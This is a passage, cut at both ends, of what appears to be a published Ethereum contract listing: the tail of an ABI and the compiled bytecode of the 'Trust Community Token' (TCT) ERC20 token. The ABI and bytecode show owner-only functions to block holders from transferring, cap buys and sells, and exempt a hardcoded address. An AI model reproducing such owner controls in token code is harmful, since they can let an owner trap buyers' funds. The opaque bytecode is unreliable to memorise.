,"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"removeSellLimitAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"removedBuyAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"basePoints","type":"uint256"}],"name":"setBuyLimitBasePoints","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enableFailSafe","type":"bool"}],"name":"setEnableDisableFailSafe","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setEnableDisableFailSafe","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"basePoints","type":"uint256"}],"name":"setSellLimitBasePoints","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"taxFreeTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"taxFreeTransferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"taxFreeTransfers","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"unblockAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600d60016101000a81548160ff0219169083151502179055503480156200002c57600080fd5b506040518060400160405280601581526020017f547275737420436f6d6d756e69747920546f6b656e00000000000000000000008152506040518060400160405280600381526020017f54435400000000000000000000000000000000000000000000000000000000008152508160039080519060200190620000b192919062000485565b508060049080519060200190620000ca92919062000485565b505050620000ed620000e16200023460201b60201c565b6200023c60201b60201c565b7388927ae2c17f739df5be18b34d382889febce82f600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507323f7b45043e930b36fcb31d4a44d61bcc044cccf600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506064600c819055506001600d60006101000a81548160ff02191690831515021790555060c8600e819055506103e8600f819055506200022e336d04ee2d6d415b85acef81000000006200030260201b60201c565b620006e1565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000375576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200036c906200056d565b60405180910390fd5b62000389600083836200047b60201b60201c565b80600260008282546200039d9190620005bd565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620003f49190620005bd565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200045b91906200058f565b60405180910390a362000477600083836200048060201b60201c565b5050565b505050565b505050565b828054620004939062000624565b90600052602060002090601f016020900481019282620004b7576000855562000503565b82601f10620004d257805160ff191683800117855562000503565b8280016001018555821562000503579182015b8281111562000502578251825591602001919060010190620004e5565b5b50905062000512919062000516565b5090565b5b808211156200053157600081600090555060010162000517565b5090565b600062000544601f83620005ac565b91506200055182620006b8565b602082019050919050565b62000567816200061a565b82525050565b60006020820190508181036000830152620005888162000535565b9050919050565b6000602082019050620005a660008301846200055c565b92915050565b600082825260208201905092915050565b6000620005ca826200061a565b9150620005d7836200061a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200060f576200060e6200065a565b5b828201905092915050565b6000819050919050565b600060028204905060018216806200063d57607f821691505b6020821081141562000654576200065362000689565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6134f280620006f16000396000f3fe608060405234801561001057600080fd5b50600436106102275760003560e01c806385d4787b11610130578063b48b6810116100b8578063e1d8752e1161007c578063e1d8752e14610678578063e7dad4f9146106a8578063ecb24bf2146106d8578063f2fde38b146106f6578063fc3f98351461071257610227565b8063b48b6810146105c2578063c522b655146105de578063c7574839146105fa578063ca1245b814610618578063dd62ed3e1461064857610227565b806395d89b41116100ff57806395d89b411461050a5780639b0e2e8614610528578063a457c2d714610544578063a9059cbb14610574578063abdbb972146105a457610227565b806385d4787b146104945780638da5cb5b146104b05780638f63e1b7146104ce57806390b6f3be146104ec57610227565b806339509351116101b3578063590a966211610182578063590a9662146103f05780636b0eba631461042057806370a082311461043c57806370d5ae051461046c578063715018a61461048a57610227565b806339509351146103585780633d50c11a1461038857806355c03e29146103a457806356832e1a146103d457610227565b806318160ddd116101fa57806318160ddd146102b457806322599211146102d257806323b872dd146102ee5780632a6e3fbd1461031e578063313ce5671461033a57610227565b8063062287491461022c57806306fdde031461024a578063095ea7b3146102685780630d1118ce14610298575b600080fd5b61023461072e565b6040516102419190612a4b565b60405180910390f35b610252610758565b60405161025f9190612a81565b60405180910390f35b610282600480360381019061027d919061269e565b6107ea565b60405161028f9190612a66565b60405180910390f35b6102b260048036038101906102ad919061269e565b610808565b005b6102bc6108b5565b6040516102c99190612c03565b60405180910390f35b6102ec60048036038101906102e791906127fb565b6108bf565b005b6103086004803603810190610303919061264b565b610958565b6040516103159190612a66565b60405180910390f35b61033860048036038101906103339190612828565b6109ed565b005b610342610a73565b60405161034f9190612c1e565b60405180910390f35b610372600480360381019061036d919061269e565b610a7c565b60405161037f9190612a66565b60405180910390f35b6103a2600480360381019061039d91906126de565b610b28565b005b6103be60048036038101906103b991906125de565b610c2a565b6040516103cb9190612c03565b60405180910390f35b6103ee60048036038101906103e991906126de565b610c73565b005b61040a6004803603810190610405919061269e565b610d8a565b6040516104179190612a66565b60405180910390f35b61043a600480360381019061043591906127fb565b610e1d565b005b610456600480360381019061045191906125de565b610eb6565b6040516104639190612c03565b60405180910390f35b610474610efe565b6040516104819190612a4b565b60405180910390f35b610492610f03565b005b6104ae60048036038101906104a991906126de565b610f8b565b005b6104b861108f565b6040516104c59190612a4b565b60405180910390f35b6104d66110b9565b6040516104e39190612c03565b60405180910390f35b6104f46110c3565b6040516105019190612c03565b60405180910390f35b6105126110cd565b60405161051f9190612a81565b60405180910390f35b610542600480360381019061053d91906126de565b61115f565b005b61055e6004803603810190610559919061269e565b611261565b60405161056b9190612a66565b60405180910390f35b61058e6004803603810190610589919061269e565b61134c565b60405161059b9190612a66565b60405180910390f35b6105ac61148a565b6040516105b99190612a66565b60405180910390f35b6105dc60048036038101906105d79190612828565b6114a1565b005b6105f860048036038101906105f391906126de565b611527565b005b61060261163e565b60405161060f9190612a4b565b60405180910390f35b610632600480360381019061062d9190612727565b611668565b60405161063f9190612a66565b60405180910390f35b610662600480360381019061065d919061260b565b61175b565b60405161066f9190612c03565b60405180910390f35b610692600480360381019061068d919061264b565b6117e2565b60405161069f9190612a66565b60405180910390f35b6106c260048036038101906106bd91906125de565b611877565b6040516106cf9190612a66565b60405180910390f35b6106e06118c2565b6040516106ed9190612a66565b60405180910390f35b610710600480360381019061070b91906125de565b6118d9565b005b61072c6004803603810190610727919061279f565b6119d1565b005b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461076790612e6f565b80601f016020809104026020016040519081016040528092919081815260200182805461079390612e6f565b80156107e05780601f106107b5576101008083540402835291602001916107e0565b820191906000526020600020905b8154815290600101906020018083116107c357829003601f168201915b5050505050905090565b60006107fe6107f7611ad5565b8484611add565b6001905092915050565b610810611ad5565b73ffffffffffffffffffffffffffffffffffffffff1661082e61108f565b73ffffffffffffffffffffffffffffffffffffffff1614610884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087b90612b63565b60405180910390fd5b6108b182600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611ca8565b5050565b6000600254905090565b6108c7611ad5565b73ffffffffffffffffffffffffffffffffffffffff166108e561108f565b73ffffffffffffffffffffffffffffffffffffffff161461093b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093290612b63565b60405180910390fd5b80600d60016101000a81548160ff02191690831515021790555050565b6000600d60019054906101000a900460ff16806109b457507397e5d79513966f3164f549da5868cccdcb51ad6773ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b156109ca576109c4848484611f29565b506109e2565b6109d5848484612021565b6109e0848484611f29565b505b600190509392505050565b6109f5611ad5565b73ffffffffffffffffffffffffffffffffffffffff16610a1361108f565b73ffffffffffffffffffffffffffffffffffffffff1614610a69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6090612b63565b60405180910390fd5b80600e8190555050565b60006012905090565b6000610b1e610a89611ad5565b848460016000610a97611ad5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b199190612cd2565b611add565b6001905092915050565b610b30611ad5565b73ffffffffffffffffffffffffffffffffffffffff16610b4e61108f565b73ffffffffffffffffffffffffffffffffffffffff1614610ba4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9b90612b63565b60405180910390fd5b60005b8151811015610c26576000828281518110610bc557610bc4612fa8565b5b60200260200101519050600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009055508080610c1e90612ed2565b915050610ba7565b5050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c7b611ad5565b73ffffffffffffffffffffffffffffffffffffffff16610c9961108f565b73ffffffffffffffffffffffffffffffffffffffff1614610cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce690612b63565b60405180910390fd5b60005b8151811015610d86576000828281518110610d1057610d0f612fa8565b5b602002602001015190506000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550508080610d7e90612ed2565b915050610cf2565b5050565b6000610d94611ad5565b73ffffffffffffffffffffffffffffffffffffffff16610db261108f565b73ffffffffffffffffffffffffffffffffffffffff1614610e08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dff90612b63565b60405180910390fd5b610e12838361217a565b506001905092915050565b610e25611ad5565b73ffffffffffffffffffffffffffffffffffffffff16610e4361108f565b73ffffffffffffffffffffffffffffffffffffffff1614610e99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9090612b63565b60405180910390fd5b80600d60006101000a81548160ff02191690831515021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600090565b610f0b611ad5565b73ffffffffffffffffffffffffffffffffffffffff16610f2961108f565b73ffffffffffffffffffffffffffffffffffffffff1614610f7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7690612b63565b60405180910390fd5b610f896000612198565b565b610f93611ad5565b73ffffffffffffffffffffffffffffffffffffffff16610fb161108f565b73ffffffffffffffffffffffffffffffffffffffff1614611007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffe90612b63565b60405180910390fd5b60005b815181101561108b57600082828151811061102857611027612fa8565b5b602002602001015190506001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050808061108390612ed2565b91505061100a565b5050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600e54905090565b6000600f54905090565b6060600480546110dc90612e6f565b80601f016020809104026020016040519081016040528092919081815260200182805461110890612e6f565b80156111555780601f1061112a57610100808354040283529160200191611155565b820191906000526020600020905b81548152906001019060200180831161113857829003601f168201915b5050505050905090565b611167611ad5565b73ffffffffffffffffffffffffffffffffffffffff1661118561108f565b73ffffffffffffffffffffffffffffffffffffffff16146111db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d290612b63565b60405180910390fd5b60005b815181101561125d5760008282815181106111fc576111fb612fa8565b5b60200260200101519050600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000905550808061125590612ed2565b9150506111de565b5050565b60008060016000611270611ad5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561132d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132490612be3565b60405180910390fd5b611341611338611ad5565b85858403611add565b600191505092915050565b600080611357611ad5565b9050600061136482610eb6565b90506000600c54856113769190612d28565b9050600d60019054906101000a900460ff16806113d257507397e5d79513966f3164f549da5868cccdcb51ad6773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156113e7576113e1868661217a565b5061147d565b6113f2838787612021565b611413868260026114039190612d59565b8761140e9190612db3565b61217a565b1561147c578482111561147b5761144c600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261217a565b50611479600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261217a565b505b5b5b6001935050505092915050565b6000600d60019054906101000a900460ff16905090565b6114a9611ad5565b73ffffffffffffffffffffffffffffffffffffffff166114c761108f565b73ffffffffffffffffffffffffffffffffffffffff161461151d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151490612b63565b60405180910390fd5b80600f8190555050565b61152f611ad5565b73ffffffffffffffffffffffffffffffffffffffff1661154d61108f565b73ffffffffffffffffffffffffffffffffffffffff16146115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612b63565b60405180910390fd5b60005b815181101561163a5760008282815181106115c4576115c3612fa8565b5b602002602001015190506001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050808061163290612ed2565b9150506115a6565b5050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000611672611ad5565b73ffffffffffffffffffffffffffffffffffffffff1661169061108f565b73ffffffffffffffffffffffffffffffffffffffff16146116e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116dd90612b63565b60405180910390fd5b60005b835181101561175057600084828151811061170757611706612fa8565b5b60200260200101519050600084838151811061172657611725612fa8565b5b6020026020010151905061173a828261217a565b505050808061174890612ed2565b9150506116e9565b506001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006117ec611ad5565b73ffffffffffffffffffffffffffffffffffffffff1661180a61108f565b73ffffffffffffffffffffffffffffffffffffffff1614611860576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185790612b63565b60405180910390fd5b61186b848484611f29565b50600190509392505050565b600080600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054119050919050565b6000600d60009054906101000a900460ff16905090565b6118e1611ad5565b73ffffffffffffffffffffffffffffffffffffffff166118ff61108f565b73ffffffffffffffffffffffffffffffffffffffff1614611955576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194c90612b63565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119bc90612ac3565b60405180910390fd5b6119ce81612198565b50565b6119d9611ad5565b73ffffffffffffffffffffffffffffffffffffffff166119f761108f565b73ffffffffffffffffffffffffffffffffffffffff1614611a4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4490612b63565b60405180910390fd5b60005b8251811015611ad0576000838281518110611a6e57611a6d612fa8565b5b6020026020010151905082600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550508080611ac890612ed2565b915050611a50565b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4490612ba3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb490612ae3565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c9b9190612c03565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0f90612b83565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7f90612aa3565b60405180910390fd5b611d9383838361225e565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611e19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1090612b03565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611eac9190612cd2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f109190612c03565b60405180910390a3611f23848484612263565b50505050565b6000611f36848484611ca8565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611f81611ad5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015612001576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff890612b43565b60405180910390fd5b6120158561200d611ad5565b858403611add565b60019150509392505050565b6001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156120a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209b90612b23565b60405180910390fd5b6001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415612127576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211e90612bc3565b60405180910390fd5b61213083612268565b156121605761215b8382600e546040518060800160405280606081526020016133fc606091396122be565b612175565b61216a8282612343565b6121748382612343565b5b505050565b600061218e612187611ad5565b8484611ca8565b6001905092915050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600e54111561233d5760006122d485610eb6565b9050600061271084836122e79190612d59565b6122f19190612d28565b9050808511158390612339576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123309190612a81565b60405180910390fd5b5050505b50505050565b60006040518060a001604052806061815260200161345c6061913990506000600f54111561237a576123798383600f54846122be565b5b600d60009054906101000a900460ff161561245e576000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006123de85610eb6565b90506000821180156123f05750600081115b1561245b57600061271083836124069190612d59565b6124109190612d28565b9050808511158490612458576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244f9190612a81565b60405180910390fd5b50505b50505b505050565b600061247661247184612c5e565b612c39565b905080838252602082019050828560208602820111156124995761249861300b565b5b60005b858110156124c957816124af8882612543565b84526020840193506020830192505060018101905061249c565b5050509392505050565b60006124e66124e184612c8a565b612c39565b905080838252602082019050828560208602820111156125095761250861300b565b5b60005b85811015612539578161251f88826125c9565b84526020840193506020830192505060018101905061250c565b5050509392505050565b600081359050612552816133b6565b92915050565b600082601f83011261256d5761256c613006565b5b813561257d848260208601612463565b91505092915050565b600082601f83011261259b5761259a613006565b5b81356125ab8482602086016124d3565b91505092915050565b6000813590506125c3816133cd565b92915050565b6000813590506125d8816133e4565b92915050565b6000602082840312156125f4576125f3613015565b5b600061260284828501612543565b91505092915050565b6000806040838503121561262257612621613015565b5b600061263085828601612543565b925050602061264185828601612543565b9150509250929050565b60008060006060848603121561266457612663613015565b5b600061267286828701612543565b935050602061268386828701612543565b9250506040612694868287016125c9565b9150509250925092565b600080604083850312156126b5576126b4613015565b5b60006126c385828601612543565b92505060206126d4858286016125c9565b9150509250929050565b6000602082840312156126f4576126f3613015565b5b600082013567ffffffffffffffff81111561271257612711613010565b5b61271e84828501612558565b91505092915050565b6000806040838503121561273e5761273d613015565b5b600083013567ffffffffffffffff81111561275c5761275b613010565b5b61276885828601612558565b925050602083013567ffffffffffffffff81111561278957612788613010565b5b61279585828601612586565b9150509250929050565b600080604083850312156127b6576127b5613015565b5b600083013567ffffffffffffffff8111156127d4576127d3613010565b5b6127e085828601612558565b92505060206127f1858286016125c9565b9150509250929050565b60006020828403121561281157612810613015565b5b600061281f848285016125b4565b91505092915050565b60006020828403121561283e5761283d613015565b5b600061284c848285016125c9565b91505092915050565b61285e81612de7565b82525050565b61286d81612df9565b82525050565b600061287e82612cb6565b6128888185612cc1565b9350612898818560208601612e3c565b6128a18161301a565b840191505092915050565b60006128b9602383612cc1565b91506128c48261302b565b604082019050919050565b60006128dc602683612cc1565b91506128e78261307a565b604082019050919050565b60006128ff602283612cc1565b915061290a826130c9565b604082019050919050565b6000612922602683612cc1565b915061292d82613118565b604082019050919050565b6000612945604b83612cc1565b915061295082613167565b606082019050919050565b6000612968602883612cc1565b9150612973826131dc565b604082019050919050565b600061298b602083612cc1565b91506129968261322b565b602082019050919050565b60006129ae602583612cc1565b91506129b982613254565b604082019050919050565b60006129d1602483612cc1565b91506129dc826132a3565b604082019050919050565b60006129f4605183612cc1565b91506129ff826132f2565b606082019050919050565b6000612a17602583612cc1565b9150612a2282613367565b604082019050919050565b612a3681612e25565b82525050565b612a4581612e2f565b82525050565b6000602082019050612a606000830184612855565b92915050565b6000602082019050612a7b6000830184612864565b92915050565b60006020820190508181036000830152612a9b8184612873565b905092915050565b60006020820190508181036000830152612abc816128ac565b9050919050565b60006020820190508181036000830152612adc816128cf565b9050919050565b60006020820190508181036000830152612afc816128f2565b9050919050565b60006020820190508181036000830152612b1c81612915565b9050919050565b60006020820190508181036000830152612b3c81612938565b9050919050565b60006020820190508181036000830152612b5c8161295b565b9050919050565b60006020820190508181036000830152612b7c8161297e565b9050919050565b60006020820190508181036000830152612b9c816129a1565b9050919050565b60006020820190508181036000830152612bbc816129c4565b9050919050565b60006020820190508181036000830152612bdc816129e7565b9050919050565b60006020820190508181036000830152612bfc81612a0a565b9050919050565b6000602082019050612c186000830184612a2d565b92915050565b6000602082019050612c336000830184612a3c565b92915050565b6000612c43612c54565b9050612c4f8282612ea1565b919050565b6000604051905090565b600067ffffffffffffffff821115612c7957612c78612fd7565b5b602082029050602081019050919050565b600067ffffffffffffffff821115612ca557612ca4612fd7565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000612cdd82612e25565b9150612ce883612e25565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612d1d57612d1c612f1b565b5b828201905092915050565b6000612d3382612e25565b9150612d3e83612e25565b925082612d4e57612d4d612f4a565b5b828204905092915050565b6000612d6482612e25565b9150612d6f83612e25565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612da857612da7612f1b565b5b828202905092915050565b6000612dbe82612e25565b9150612dc983612e25565b925082821015612ddc57612ddb612f1b565b5b828203905092915050565b6000612df282612e05565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015612e5a578082015181840152602081019050612e3f565b83811115612e69576000848401525b50505050565b60006002820490506001821680612e8757607f821691505b60208210811415612e9b57612e9a612f79565b5b50919050565b612eaa8261301a565b810181811067ffffffffffffffff82111715612ec957612ec8612fd7565b5b80604052505050565b6000612edd82612e25565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f1057612f0f612f1b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f596f75206172652063757272656e746c7920626c6f636b65642066726f6d207460008201527f72616e7366657272696e6720746f6b656e732e20506c6561736520636f6e746160208201527f637420544354205465616d000000000000000000000000000000000000000000604082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722072656365697665722069732063757272656e746c7920626c6f636b60008201527f65642066726f6d20726563656976696e6720746f6b656e732e20506c6561736560208201527f20636f6e7461637420544354205465616d000000000000000000000000000000604082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6133bf81612de7565b81146133ca57600080fd5b50565b6133d681612df9565b81146133e157600080fd5b50565b6133ed81612e25565b81146133f857600080fd5b5056fe596f75722062757920657863656564732074686520616d6f756e7420796f752061726520616c6c6f77656420617420746869732074696d652e20506c6561736520636f6e7461637420544354205465616d20666f7220617373697374616e6365596f75722073616c6520657863656564732074686520616d6f756e7420796f752061726520616c6c6f7765642061742074686973207